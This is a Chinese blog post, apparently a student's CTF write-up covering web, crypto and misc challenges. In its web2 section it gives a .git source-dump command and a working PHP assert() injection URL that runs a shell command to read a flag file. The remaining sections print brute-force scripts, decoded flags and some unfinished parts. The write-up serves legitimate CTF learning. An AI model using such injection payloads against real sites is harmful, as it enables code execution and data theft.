sky's blog

openctf-writeup

字数统计: 1,403阅读时长: 6 min
2017/06/28 Share

前言

web题目基本上是CSAW2016的题目,难度很大,渣渣我是看了大佬们的writeup写的……
以下是几个链接
http://kendyhikaru.blogspot.jp/2016/09/writeup-csaw-ctf-2016.html
https://tsublogs.wordpress.com/2016/09/18/606/
https://github.com/73696e65/ctf-notes/blob/master/2016-ctf.csaw.io/web-200-i_got_id.md
基本都是英文的……大家自己看吧……大神们是真的牛啊~我要更加努力

web

web1

打开网站,一共3个页面,感觉前2个好像没什么问题,于是检查了一下file.pl

这里卡住了,后来看了一下大牛的题解,猜测出这个页面的代码大概如下:

1
2
3
4
5
6
7
8
9
10
use strict;
use warnings;
use CGI;

my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) )
{
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; }
}

关键点:
my $file= $cgi->param( 'file' );

while ( <$file> ) { print "$_"; }
LOADING…………(i will sleep)

web2

先是看了一遍网站,发现提示了git,然后检测了下,果然有.git泄露,然后上了工具
https://github.com/WangYihang/GitHacker
指令:
python Githack.py http://127.0.0.1/.git/
即可拿下所有页面的源码
index.php在外,home.php,about.php,flag.php,contact.php都在文件夹templates中。
迫不及待打开flag.php

1
2
3
4
<?php
// TODO
// $FLAG = '';
?>

并没有我们想要的东西,所以看来要找漏洞,去得到flag
然后优先审计了index.php代码,很幸运的发现了漏洞:
关键点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

其中在assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
并没有过滤单引号,导致我们可以注入自己想要的代码,于是得到构造:
flag','..')+or+system('cat+templates/flag.php');//
拼接后变成:

1
assert("strpos('flag','..')+or+system('cat+templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");

第一个匹配肯定是失败了,然后or,进行system函数里的内容,获取templates文件夹中的flag.php,然后注释后续代码
很显然,答案就出来了
payload:
http://202.112.51.184:8001/?page=flag%27,%27..%27)+or+system(%27cat+templates/flag.php%27);//
查看源代码,得到flag:
<?php $FLAG="xctf{392dba36b0998deac2ed87ceca63c4b2}"; ?>

web3(还没写,来不及,要考试)

web4(还没写,来不及,要考试)

crypto

crypto1

拿到题目:
EW91X2FYZV9HX2DVB2RFYM95=
第一反应是base64,解了一下,有部分可读,部分乱码
判断应该是base64没有问题,但是可能顺序或者大小写有问题
想了一下,=在最后才可以,应该不是顺序问题(栅栏试过,不行)
所以考虑到应该是大小写混淆过了,所有都变成大写了
可见是一个排列组合问题:

1
2
3
4
5
6
7
(0,24)中选1个小写
(0,24)中选2个小写
(0,24)中选3个小写
(0,24)中选4个小写
……
(0,24)中选24个小写
(0,24)中选25个小写

用脚本穷举出所有可能的大小写转化,最后逐个解码base64即可得到flag
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
import base64
from itertools import combinations
s=list('EW91X2FYZV9HX2DVB2RFYM95=')
for i in range(len(s)):
for j in list(combinations([x for x in range(len(s))], i)):
a=list(s)
for k in j:
a[k]= a[k].lower()
result = ''.join(a)
if not "\\x" in repr(base64.b64decode(result)):
print base64.b64decode(result)

最后可以得到:eW91X2FyZV9hX2dvb2RfYm95=
解码后得到:you_are_a_good_boy交了即可

crypto2

这个题目我算比较熟悉了,做的也很快
拿到压缩包打开看了一下,是4个长度为6的txt,明显是一道CRC32爆破的题目(博客中以前写专门写过)
第一个CRC32爆破结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
alternative: 27Mw1K (OK)
alternative: 5cgtvh (OK)
alternative: HlMnXb (OK)
alternative: OuJPrI (OK)
alternative: VR9Lxw (OK)
alternative: aufYuB (OK)
alternative: flag_i (OK)
alternative: nz8XRU (OK)
alternative: of65HX (OK)
alternative: ozyiIL (OK)
alternative: r5dYFU (OK)
alternative: v1yXG6 (OK)
alternative: yRTtde (OK)

第二个CRC32爆破结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
alternative: 6xRaqw (OK)
alternative: 8wMQMy (OK)
alternative: ExgKcs (OK)
alternative: HjbDt5 (OK)
alternative: Jw9JDd (OK)
alternative: ONt66F (OK)
alternative: SPJVNZ (OK)
alternative: TIMhdq (OK)
alternative: V8eKPd (OK)
alternative: WTWWO9 (OK)
alternative: ewTrXv (OK)
alternative: kxKBdx (OK)
alternative: sC63tK (OK)
alternative: s_you_ (OK)
alternative: v7Vrka (OK)
alternative: x8IBWo (OK)
alternative: zIaacz (OK)

第三个CRC32爆破结果:

1
2
3
4
5
6
7
8
9
10
alternative: 20Nq7f (OK)
alternative: 5ddrpE (OK)
alternative: FdQXbA (OK)
alternative: Gx_5xL (OK)
alternative: OrIVtd (OK)
alternative: YZdKYM (OK)
alternative: are_so (OK)
alternative: fkbaYD (OK)
alternative: oa53Nu (OK)
alternative: yUWrbH (OK)

第四个CRC32爆破结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
alternative: 6xmv6a (OK)
alternative: 7YrWD4 (OK)
alternative: D54PRt (OK)
alternative: E5uaIm (OK)
alternative: IKBrAv (OK)
alternative: Pl1nKH (OK)
alternative: Qlp_PQ (OK)
alternative: Vuwazz (OK)
alternative: Wu6Pac (OK)
alternative: XzhQFt (OK)
alternative: _cool_ (OK)
alternative: dVtDm5 (OK)
alternative: hD0zaj (OK)
alternative: iDqKzs (OK)
alternative: jdz89c (OK)
alternative: jx5d8w (OK)
alternative: k5YhNf (OK)
alternative: qcCfkT (OK)
alternative: s_Fx2I (OK)

明显可以拼接出:flag_is_you_are_so_cool_
交了就完事了,可以说这题比较简单了
一般情况下,应该这只是压缩包的解压密码,还会有后续题目

misc

misc1

拿到音频打开听了一下,判断应该就是摩斯电码,用Audacity打开分析了一下:

应该*和-很明显了
逐个分析得:

1
-/****/*/***/*/-*-*/*-*/*/-/*--/-**/**-*/*-**/*-/--*/**/***/--/---/*-*/*/***/-*-*/---/-**/*/*----/***/**-*/**-/-*

解密得到:
thesecretwdflagismorescode1sfun
即可破解该题

misc2

这题是真的皮……
按套路,我先提取了http对象

出来了一个message.png的图
然后就日狗了,一直分析,不出东西……
后来仔细分析wireshark包
发现TCP报文首部中的URG置1了,藏有紧急数据

然后开始慢慢找,发现从7~89帧都有,然后一帧一帧看过去得到flag:




……剩下的省略
最后可以得到:
CTF{And_You_Thought_It_Was_In_The_Picture}
最后还是得说一句,这是真的皮!!!

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. web
    1. 2.1. web1
    2. 2.2. web2
    3. 2.3. web3(还没写,来不及,要考试)
    4. 2.4. web4(还没写,来不及,要考试)
  3. 3. crypto
    1. 3.1. crypto1
    2. 3.2. crypto2
  4. 4. misc
    1. 4.1. misc1
    2. 4.2. misc2